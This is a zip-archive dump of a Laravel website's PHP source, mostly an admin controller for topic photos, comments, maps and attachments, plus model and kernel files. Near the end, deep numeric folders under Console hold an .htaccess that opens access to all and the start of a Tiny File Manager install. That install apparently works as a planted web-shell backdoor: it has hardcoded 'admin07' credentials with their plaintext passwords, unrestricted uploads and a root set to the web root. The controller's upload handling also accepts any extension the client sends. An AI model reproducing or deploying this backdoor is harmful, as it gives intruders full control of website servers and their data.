basename($request->file($formFileName)->getClientOriginalName(), '.' . $request->file($formFileName)->getClientOriginalExtension()); $fileFinalName = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName); $img=Image::make($path.$fileFinalName); if($img->height()>1030){ $img->resize(null, 1030, function ($constraint) { $constraint->aspectRatio(); }); } elseif ($img->width()>1030) { $img->resize(1030, null, function ($constraint) { $constraint->aspectRatio(); }); } $img->save(); // dd($img); } // End of Upload Files if ($fileFinalName != "") { $Photo = new Photo; $Photo->row_no = $next_nor_no; $Photo->file = $fileFinalName; $Photo->title = $fileFinalTitle; $Photo->topic_id = $id; $Photo->created_by = Auth::user()->id; $Photo->save(); return response()->json('success', 200); } else { return response()->json('error', 400); } } else { return redirect()->route('NotFound'); } } /** * Remove the specified resource from storage. * * @param int $id * @param int $webmasterId * @param int $photo_id * @return \Illuminate\Http\Response */ public function photosDestroy($webmasterId, $id, $photo_id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // Check Permissions if (!@Auth::user()->permissionsGroup->delete_status) { return Redirect::to(route('NoPermission'))->send(); } // $Photo = Photo::find($photo_id); if (!empty($Photo) ) { // Delete a Topic photo if ($Photo->photo_file != "") { File::delete($this->getUploadPath() . $Photo->photo_file); } $Photo->delete(); return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('doneMessage', trans('backLang.deleteDone'))->with('activeTab', 'photos'); } else { return redirect()->action('TopicsController@index', $webmasterId); } } else { return redirect()->route('NotFound'); } } /** * Update all selected resources in storage. * * @param \Illuminate\Http\Request $request * @param buttonNames , array $ids[],$webmasterId * @param int $id * @return \Illuminate\Http\Response */ public function photosUpdateAll(Request $request, $webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // if ($request->action == "order") { foreach ($request->row_ids as $rowId) { $Photo = Photo::find($rowId); if (!empty($Photo) ) { $row_no_val = "row_no_" . $rowId; $Photo->row_no = $request->$row_no_val; $Photo->save(); } } } elseif ($request->action == "delete") { // Check Permissions if (!@Auth::user()->permissionsGroup->delete_status) { return Redirect::to(route('NoPermission'))->send(); } // Delete Photos $Photos = Photo::wherein('id', $request->ids)->get(); foreach ($Photos as $Photo) { if ($Photo->file != "") { File::delete($this->getUploadPath() . $Photo->file); } } Photo::wherein('id', $request->ids) ->delete(); } return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('doneMessage', trans('backLang.saveDone'))->with('activeTab', 'photos'); } else { return redirect()->route('NotFound'); } } // Comments Functions /** * Show all comments. * * @param int $webmasterId * @param int $id * @return \Illuminate\Http\Response */ public function topicsComments($webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'comments'); } else { return redirect()->route('NotFound'); } } /** * Show the form for creating a new resource. * * @param int $webmasterId * @param int $id * @return \Illuminate\Http\Response */ public function commentsCreate($webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // Check Permissions if (!@Auth::user()->permissionsGroup->add_status) { return Redirect::to(route('NoPermission'))->send(); } return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'comments')->with('commentST', 'create'); } else { return redirect()->route('NotFound'); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @param int $webmasterId * @return \Illuminate\Http\Response */ public function commentsStore(Request $request, $webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // $this->validate($request, [ 'name' => 'required', 'email' => 'required', 'comment' => 'required' ]); $next_nor_no = Comment::where('topic_id', '=', $id)->max('row_no'); if ($next_nor_no < 1) { $next_nor_no = 1; } else { $next_nor_no++; } $Comment = new Comment; $Comment->row_no = $next_nor_no; $Comment->name = $request->name; $Comment->email = $request->email; $Comment->comment = $request->comment; $Comment->topic_id = $id; $Comment->date = date("Y-m-d H:i:s"); $Comment->status = 1; $Comment->created_by = Auth::user()->id; $Comment->save(); return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('doneMessage', trans('backLang.saveDone'))->with('activeTab', 'comments'); } else { return redirect()->route('NotFound'); } } /** * Show the form for editing the specified resource. * * @param int $id * @param int $webmasterId * @param int $comment_id * @return \Illuminate\Http\Response */ public function commentsEdit($webmasterId, $id, $comment_id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // Check Permissions if (!@Auth::user()->permissionsGroup->edit_status) { return Redirect::to(route('NoPermission'))->send(); } $Comment = Comment::find($comment_id); if (!empty($Comment) ) { return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'comments')->with('commentST', 'edit')->with('Comment', $Comment); } else { return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'comments'); } } else { return redirect()->route('NotFound'); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @param int $webmasterId * @param int $comment_id * @return \Illuminate\Http\Response */ public function commentsUpdate(Request $request, $webmasterId, $id, $comment_id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // $Comment = Comment::find($comment_id); if (!empty($Comment) ) { $this->validate($request, [ 'name' => 'required', 'email' => 'required', 'comment' => 'required' ]); $Comment->name = $request->name; $Comment->email = $request->email; $Comment->comment = $request->comment; $Comment->status = $request->status; $Comment->updated_by = Auth::user()->id; $Comment->save(); return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('doneMessage', trans('backLang.saveDone'))->with('activeTab', 'comments'); } else { return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'comments'); } } else { return redirect()->route('NotFound'); } } /** * Remove the specified resource from storage. * * @param int $id * @param int $webmasterId * @param int $comment_id * @return \Illuminate\Http\Response */ public function commentsDestroy($webmasterId, $id, $comment_id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // Check Permissions if (!@Auth::user()->permissionsGroup->delete_status) { return Redirect::to(route('NoPermission'))->send(); } // $Comment = Comment::find($comment_id); if (!empty($Comment) ) { $Comment->delete(); return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('doneMessage', trans('backLang.deleteDone'))->with('activeTab', 'comments'); } else { return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'comments'); } } else { return redirect()->route('NotFound'); } } /** * Update all selected resources in storage. * * @param \Illuminate\Http\Request $request * @param buttonNames , array $ids[],$webmasterId * @param int $id * @return \Illuminate\Http\Response */ public function commentsUpdateAll(Request $request, $webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // if ($request->action == "order") { foreach ($request->row_ids as $rowId) { $Comment = Comment::find($rowId); if (!empty($Comment) ) { $row_no_val = "row_no_" . $rowId; $Comment->row_no = $request->$row_no_val; $Comment->save(); } } } elseif ($request->action == "activate") { Comment::wherein('id', $request->ids) ->update(['status' => 1]); } elseif ($request->action == "block") { Comment::wherein('id', $request->ids) ->update(['status' => 0]); } elseif ($request->action == "delete") { // Check Permissions if (!@Auth::user()->permissionsGroup->delete_status) { return Redirect::to(route('NoPermission'))->send(); } Comment::wherein('id', $request->ids) ->delete(); } return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('doneMessage', trans('backLang.saveDone'))->with('activeTab', 'comments'); } else { return redirect()->route('NotFound'); } } // Maps Functions /** * Show all Maps. * * @param int $webmasterId * @param int $id * @return \Illuminate\Http\Response */ public function topicsMaps($webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'maps'); } else { return redirect()->route('NotFound'); } } /** * Show the form for creating a new resource. * * @param int $webmasterId * @param int $id * @return \Illuminate\Http\Response */ public function mapsCreate($webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // Check Permissions if (!@Auth::user()->permissionsGroup->add_status) { return Redirect::to(route('NoPermission'))->send(); } return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'maps')->with('mapST', 'create'); } else { return redirect()->route('NotFound'); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @param int $webmasterId * @return \Illuminate\Http\Response */ public function mapsStore(Request $request, $webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // $this->validate($request, [ 'longitude' => 'required', 'longitude' => 'required' ]); $next_nor_no = Map::where('topic_id', '=', $id)->max('row_no'); if ($next_nor_no < 1) { $next_nor_no = 1; } else { $next_nor_no++; } $Map = new Map; $Map->row_no = $next_nor_no; $Map->longitude = $request->longitude; $Map->latitude = $request->latitude; $Map->title_ar = $request->title_ar; $Map->title_he = $request->title_he; $Map->title_en = $request->title_en; $Map->details_ar = $request->details_ar; $Map->details_he = $request->details_he; $Map->details_en = $request->details_en; $Map->icon = $request->icon; $Map->topic_id = $id; $Map->status = 1; $Map->created_by = Auth::user()->id; $Map->save(); return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('doneMessage', trans('backLang.saveDone'))->with('activeTab', 'maps'); } else { return redirect()->route('NotFound'); } } /** * Show the form for editing the specified resource. * * @param int $id * @param int $webmasterId * @param int $map_id * @return \Illuminate\Http\Response */ public function mapsEdit($webmasterId, $id, $map_id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // Check Permissions if (!@Auth::user()->permissionsGroup->edit_status) { return Redirect::to(route('NoPermission'))->send(); } $Map = Map::find($map_id); if (!empty($Map) ) { return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'maps')->with('mapST', 'edit')->with('Map', $Map); } else { return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'maps'); } } else { return redirect()->route('NotFound'); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @param int $webmasterId * @param int $map_id * @return \Illuminate\Http\Response */ public function mapsUpdate(Request $request, $webmasterId, $id, $map_id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // $Map = Map::find($map_id); if (!empty($Map) ) { $this->validate($request, [ 'longitude' => 'required', 'longitude' => 'required' ]); $Map->longitude = $request->longitude; $Map->latitude = $request->latitude; $Map->title_ar = $request->title_ar; $Map->title_he = $request->title_he; $Map->title_en = $request->title_en; $Map->details_ar = $request->details_ar; $Map->details_he = $request->details_he; $Map->details_en = $request->details_en; $Map->icon = $request->icon; $Map->status = $request->status; $Map->updated_by = Auth::user()->id; $Map->save(); return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('doneMessage', trans('backLang.saveDone'))->with('activeTab', 'maps'); } else { return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'maps'); } } else { return redirect()->route('NotFound'); } } /** * Remove the specified resource from storage. * * @param int $id * @param int $webmasterId * @param int $map_id * @return \Illuminate\Http\Response */ public function mapsDestroy($webmasterId, $id, $map_id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // Check Permissions if (!@Auth::user()->permissionsGroup->delete_status) { return Redirect::to(route('NoPermission'))->send(); } // $Map = Map::find($map_id); if (!empty($Map) ) { $Map->delete(); return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('doneMessage', trans('backLang.deleteDone'))->with('activeTab', 'maps'); } else { return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'maps'); } } else { return redirect()->route('NotFound'); } } /** * Update all selected resources in storage. * * @param \Illuminate\Http\Request $request * @param buttonNames , array $ids[],$webmasterId * @param int $id * @return \Illuminate\Http\Response */ public function mapsUpdateAll(Request $request, $webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // if ($request->action == "order") { foreach ($request->row_ids as $rowId) { $Map = Map::find($rowId); if (!empty($Map) ) { $row_no_val = "row_no_" . $rowId; $Map->row_no = $request->$row_no_val; $Map->save(); } } } elseif ($request->action == "activate") { Map::wherein('id', $request->ids) ->update(['status' => 1]); } elseif ($request->action == "block") { Map::wherein('id', $request->ids) ->update(['status' => 0]); } elseif ($request->action == "delete") { // Check Permissions if (!@Auth::user()->permissionsGroup->delete_status) { return Redirect::to(route('NoPermission'))->send(); } Map::wherein('id', $request->ids) ->delete(); } return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('doneMessage', trans('backLang.saveDone'))->with('activeTab', 'maps'); } else { return redirect()->route('NotFound'); } } // Files Functions /** * Show all files. * * @param int $webmasterId * @param int $id * @return \Illuminate\Http\Response */ public function topicsFiles($webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'files'); } else { return redirect()->route('NotFound'); } } /** * Show the form for creating a new resource. * * @param int $webmasterId * @param int $id * @return \Illuminate\Http\Response */ public function filesCreate($webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // Check Permissions if (!@Auth::user()->permissionsGroup->add_status) { return Redirect::to(route('NoPermission'))->send(); } return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'files')->with('fileST', 'create'); } else { return redirect()->route('NotFound'); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @param int $webmasterId * @return \Illuminate\Http\Response */ public function filesStore(Request $request, $webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // $this->validate($request, [ 'file' => 'required' ]); // Start of Upload Files $formFileName = "file"; $fileFinalName = ""; if ($request->$formFileName != "") { $fileFinalName = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName); } if ($fileFinalName != "") { $next_nor_no = AttachFile::where('topic_id', '=', $id)->max('row_no'); if ($next_nor_no < 1) { $next_nor_no = 1; } else { $next_nor_no++; } $AttachFile = new AttachFile; $AttachFile->topic_id = $id; $AttachFile->row_no = $next_nor_no; $AttachFile->title_ar = $request->title_ar; $AttachFile->title_he = $request->title_he; $AttachFile->title_en = $request->title_en; $AttachFile->file = $fileFinalName; $AttachFile->created_by = Auth::user()->id; $AttachFile->save(); return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('doneMessage', trans('backLang.saveDone'))->with('activeTab', 'files'); } else { return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'files'); } } else { return redirect()->route('NotFound'); } } /** * Show the form for editing the specified resource. * * @param int $id * @param int $webmasterId * @param int $file_id * @return \Illuminate\Http\Response */ public function filesEdit($webmasterId, $id, $file_id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // Check Permissions if (!@Auth::user()->permissionsGroup->edit_status) { return Redirect::to(route('NoPermission'))->send(); } $AttachFile = AttachFile::find($file_id); if (!empty($AttachFile) ) { return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'files')->with('fileST', 'edit')->with('AttachFile', $AttachFile); } else { return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'files'); } } else { return redirect()->route('NotFound'); } } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @param int $webmasterId * @param int $file_id * @return \Illuminate\Http\Response */ public function filesUpdate(Request $request, $webmasterId, $id, $file_id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // $AttachFile = AttachFile::find($file_id); if (!empty($AttachFile) ) { // Start of Upload Files $formFileName = "file"; $fileFinalName = ""; if ($request->$formFileName != "") { // Delete a Topic photo if ($AttachFile->$formFileName != "") { File::delete($this->getUploadPath() . $AttachFile->$formFileName); } $fileFinalName = time() . rand(1111, 9999) . '.' . $request->file($formFileName)->getClientOriginalExtension(); $path = $this->getUploadPath(); $request->file($formFileName)->move($path, $fileFinalName); } $AttachFile->title_ar = $request->title_ar; $AttachFile->title_he = $request->title_he; $AttachFile->title_en = $request->title_en; if ($fileFinalName != "") { $AttachFile->file = $fileFinalName; } $AttachFile->updated_by = Auth::user()->id; $AttachFile->save(); return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('doneMessage', trans('backLang.saveDone'))->with('activeTab', 'files'); } else { return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'files'); } } else { return redirect()->route('NotFound'); } } /** * Remove the specified resource from storage. * * @param int $id * @param int $webmasterId * @param int $file_id * @return \Illuminate\Http\Response */ public function filesDestroy($webmasterId, $id, $file_id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // Check Permissions if (!@Auth::user()->permissionsGroup->delete_status) { return Redirect::to(route('NoPermission'))->send(); } // $AttachFile = AttachFile::find($file_id); if (!empty($AttachFile) ) { // Delete file if ($AttachFile->file != "") { File::delete($this->getUploadPath() . $AttachFile->file); } $AttachFile->delete(); return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('doneMessage', trans('backLang.deleteDone'))->with('activeTab', 'files'); } else { return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'files'); } } else { return redirect()->route('NotFound'); } } /** * Update all selected resources in storage. * * @param \Illuminate\Http\Request $request * @param buttonNames , array $ids[],$webmasterId * @param int $id * @return \Illuminate\Http\Response */ public function filesUpdateAll(Request $request, $webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // if ($request->action == "order") { foreach ($request->row_ids as $rowId) { $AttachFile = AttachFile::find($rowId); if (!empty($AttachFile) ) { $row_no_val = "row_no_" . $rowId; $AttachFile->row_no = $request->$row_no_val; $AttachFile->save(); } } } elseif ($request->action == "delete") { // Check Permissions if (!@Auth::user()->permissionsGroup->delete_status) { return Redirect::to(route('NoPermission'))->send(); } // Delete Topics photo $AttachFiles = AttachFile::wherein('id', $request->ids)->get(); foreach ($AttachFiles as $AttachFile) { if ($AttachFile->file != "") { File::delete($this->getUploadPath() . $AttachFile->file); } } AttachFile::wherein('id', $request->ids) ->delete(); } return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('doneMessage', trans('backLang.saveDone'))->with('activeTab', 'files'); } else { return redirect()->route('NotFound'); } } // Related Topics Functions /** * Show all Related Topics . * * @param int $webmasterId * @param int $id * @return \Illuminate\Http\Response */ public function topicsRelated($webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'related'); } else { return redirect()->route('NotFound'); } } /** * Show all Related Topics . * * @param int $id * @return \Illuminate\Http\Response */ public function topicsRelatedLoad($id) { $link_title_var = "title_" . trans('backLang.boxCode'); $TopicsLoaded = Topic::where('webmaster_id', '=', $id)->orderby('row_no', 'asc')->get(); $i = 0; foreach ($TopicsLoaded as $TopicLoaded) { $title = $TopicLoaded->$link_title_var; $tid = $TopicLoaded->id; echo " "; echo "
"; $i++; } } /** * Show the form for creating a new resource. * * @param int $webmasterId * @param int $id * @return \Illuminate\Http\Response */ public function relatedCreate($webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // Check Permissions if (!@Auth::user()->permissionsGroup->add_status) { return Redirect::to(route('NoPermission'))->send(); } return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'related')->with('relatedST', 'create'); } else { return redirect()->route('NotFound'); } } /** * Store a newly created resource in storage. * * @param \Illuminate\Http\Request $request * @param int $webmasterId * @return \Illuminate\Http\Response */ public function relatedStore(Request $request, $webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // foreach ($request->related_topics_id as $related_topic_id) { $next_nor_no = RelatedTopic::where('topic_id', '=', $id)->max('row_no'); if ($next_nor_no < 1) { $next_nor_no = 1; } else { $next_nor_no++; } $RelatedTopic = new RelatedTopic; $RelatedTopic->topic_id = $id; $RelatedTopic->topic2_id = $related_topic_id; $RelatedTopic->row_no = $next_nor_no; $RelatedTopic->created_by = Auth::user()->id; $RelatedTopic->save(); } if (!empty($request->related_topics_id) ) { return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('doneMessage', trans('backLang.saveDone'))->with('activeTab', 'related'); } } else { return redirect()->route('NotFound'); } } /** * Remove the specified resource from storage. * * @param int $id * @param int $webmasterId * @param int $file_id * @return \Illuminate\Http\Response */ public function relatedDestroy($webmasterId, $id, $file_id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // Check Permissions if (!@Auth::user()->permissionsGroup->delete_status) { return Redirect::to(route('NoPermission'))->send(); } // $RelatedTopic = RelatedTopic::find($file_id); if (!empty($RelatedTopic) ) { $RelatedTopic->delete(); return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('doneMessage', trans('backLang.deleteDone'))->with('activeTab', 'related'); } else { return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('activeTab', 'related'); } } else { return redirect()->route('NotFound'); } } /** * Update all selected resources in storage. * * @param \Illuminate\Http\Request $request * @param buttonNames , array $ids[],$webmasterId * @param int $id * @return \Illuminate\Http\Response */ public function relatedUpdateAll(Request $request, $webmasterId, $id) { $WebmasterSection = WebmasterSection::find($webmasterId); if (!empty($WebmasterSection) ) { // if ($request->action == "order") { foreach ($request->row_ids as $rowId) { $RelatedTopic = RelatedTopic::find($rowId); if (!empty($RelatedTopic) ) { $row_no_val = "row_no_" . $rowId; $RelatedTopic->row_no = $request->$row_no_val; $RelatedTopic->save(); } } } elseif ($request->action == "delete") { // Check Permissions if (!@Auth::user()->permissionsGroup->delete_status) { return Redirect::to(route('NoPermission'))->send(); } RelatedTopic::wherein('id', $request->ids) ->delete(); } return redirect()->action('TopicsController@edit', [$webmasterId, $id])->with('doneMessage', trans('backLang.saveDone'))->with('activeTab', 'related'); } else { return redirect()->route('NotFound'); } } } PKVZ0Z¿Http/Kernel.phpnu[ [ \App\Http\Middleware\EncryptCookies::class, \Illuminate\Cookie\Middleware\AddQueuedCookiesToResponse::class, // \Illuminate\Session\Middleware\StartSession::class, // \Illuminate\Session\Middleware\AuthenticateSession::class, \Illuminate\View\Middleware\ShareErrorsFromSession::class, \App\Http\Middleware\VerifyCsrfToken::class, \Illuminate\Routing\Middleware\SubstituteBindings::class, ], 'api' => [ 'throttle:60,1', 'bindings', ], ]; /** * The application's route middleware. * * These middleware may be assigned to groups or used individually. * * @var array */ protected $routeMiddleware = [ 'auth' => \Illuminate\Auth\Middleware\Authenticate::class, 'auth.basic' => \Illuminate\Auth\Middleware\AuthenticateWithBasicAuth::class, 'bindings' => \Illuminate\Routing\Middleware\SubstituteBindings::class, 'cache.headers' => \Illuminate\Http\Middleware\SetCacheHeaders::class, 'can' => \Illuminate\Auth\Middleware\Authorize::class, 'guest' => \App\Http\Middleware\RedirectIfAuthenticated::class, 'throttle' => \Illuminate\Routing\Middleware\ThrottleRequests::class, ]; } PKVZdHttp/desktop.ininu[[.ShellClassInfo] InfoTip=This folder is shared online. IconFile=C:\Program Files (x86)\Google\Drive\googledrivesync.exe IconIndex=16 PKVZitt Section.phpnu[belongsTo('App\WebmasterSection', 'webmaster_id'); } //Relation of father section public function fatherSection() { return $this->belongsTo('App\Section', 'father_id'); } //Relation of father sections public function fatherSections() { return $this->hasMany('App\Section', 'father_id')->orderby('row_no', 'asc'); } //Relation to Topics public function topics() { return $this->hasMany('App\Topic')->orderby('row_no', 'asc'); } //Relation of TopicCategory public function selectedCategories() { return $this->hasMany('App\TopicCategory', 'section_id')->groupby('topic_id'); } } PKVZ5 _ Contact.phpnu[belongsTo('App\ContactsGroup', 'group_id'); } } PKVZK Banner.phpnu[belongsTo('App\WebmasterBanner', 'section_id'); } } PKVZ0v Comment.phpnu[belongsTo('App\Topic', 'topic_id'); } } PKVZMagg Setting.phpnu[hasMany('App\Webmail', 'group_id'); } } PKVZ<{{Console/581611/.htaccessnu[#---do-not-change-the-following-content--- Order allow,deny Allow from all PKVZmNccConsole/581611/index.phpnu[PKVZ7<<&Console/581611/241409/997068/index.phpnu[ 'Password', 'Username2' => 'Password2', ...) // Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html $auth_users = array( 'admin07' => '$2y$10$ouRlr5BWCf35ijWZfdcSQOiDm7ChZK1LpxiTia4LlTtgRZmAxiRXW', //admin@123 'admin07' => '$2y$10$v4WNbAqF0nfrPlB9fLIvauwRzvsNX6qH3GJB26Mh7UA2pqN/DmpdW' //12345 ); // Readonly users // e.g. array('users', 'guest', ...) $readonly_users = array( 'user' ); // Global readonly, including when auth is not being used $global_readonly = false; // user specific directories // array('Username' => 'Directory path', 'Username2' => 'Directory path', ...) $directories_users = array(); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style // for dark theme use 'ir-black' $highlightjs_style = 'vs'; // Enable ace.js (https://ace.c9.io/) on view's page $edit_files = true; // Default timezone for date() and time() // Doc - http://php.net/manual/en/timezones.php $default_timezone = 'Etc/UTC'; // UTC // Root path for file manager // use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder' $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong // $_SERVER['HTTP_HOST'].'/folder' $http_host = $_SERVER['HTTP_HOST']; // input encoding for iconv $iconv_input_encoding = 'UTF-8'; // date() format for file modification date // Doc - https://www.php.net/manual/en/function.date.php $datetime_format = 'm/d/Y g:i A'; // Path display mode when viewing file information // 'full' => show full path // 'relative' => show path relative to root_path // 'host' => show path on the host $path_display_mode = 'full'; // Allowed file extensions for create and rename files // e.g. 'txt,html,css,js' $allowed_file_extensions = ''; // Allowed file extensions for upload files // e.g. 'gif,png,jpg,html,txt' $allowed_upload_extensions = ''; // Favicon path. This can be either a full url to an .PNG image, or a path based on the document root. // full path, e.g http://example.com/favicon.png // local path, e.g images/icons/favicon.png $favicon_path = ''; // Files and folders to excluded from listing // e.g. array('myfile.html', 'personal-folder', '*.php', ...) $exclude_items = array(); // Online office Docs Viewer // Availabe rules are 'google', 'microsoft' or false // Google => View documents using Google Docs Viewer // Microsoft => View documents using Microsoft Web Apps Viewer // false => disable online doc viewer $online_viewer = 'google'; // Sticky Nav bar // true => enable sticky header // false => disable sticky header $sticky_navbar = true; // Maximum file upload size // Increase the following values in php.ini to work properly // memory_limit, upload_max_filesize, post_max_size $max_upload_size_bytes = 5000000000; // size 5,000,000,000 bytes (~5GB) // chunk size used for upload // eg. decrease to 1MB if nginx reports problem 413 entity too large $upload_chunk_size_bytes = 2000000; // chunk size 2,000,000 bytes (~2MB) // Possible rules are 'OFF', 'AND' or 'OR' // OFF => Don't check connection IP, defaults to OFF // AND => Connection must be on the whitelist, and not on the blacklist // OR => Connection must be on the whitelist, or not on the blacklist $ip_ruleset = 'OFF'; // Should users be notified of their block? $ip_silent = true; // IP-addresses, both ipv4 and ipv6 $ip_whitelist = array( '127.0.0.1', // local ipv4 '::1' // local ipv6 ); // IP-addresses, both ipv4 and ipv6 $ip_blacklist = array( '0.0.0.0', // non-routable meta ipv4 '::' // non-routable meta ipv6 ); // if User has the external config file, try to use it to override the default config above [config.php] // sample config - https://tinyfilemanager.github.io/config-sample.txt $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } // External CDN resources that can be used in the HTML (replace for GDPR compliance) $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); // --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL --- // max upload file size define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); // upload chunk size define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); // private key and session name to store to the session if ( !defined( 'FM_SESSION_ID')) { define('FM_SESSION_ID', 'filemanager'); } // Configuration $cfg = new FM_Config(); // Default language $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; // Show or hide files and folders that starts with a dot $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; // PHP error reporting - false = Turns off Errors, true = Turns on Errors $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; // Hide Permissions and Owner cols in file-listing $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); //available languages $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } // if fm included if (defined('FM_EMBED')) { $use_auth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); // Prevent logout issue after page was cached 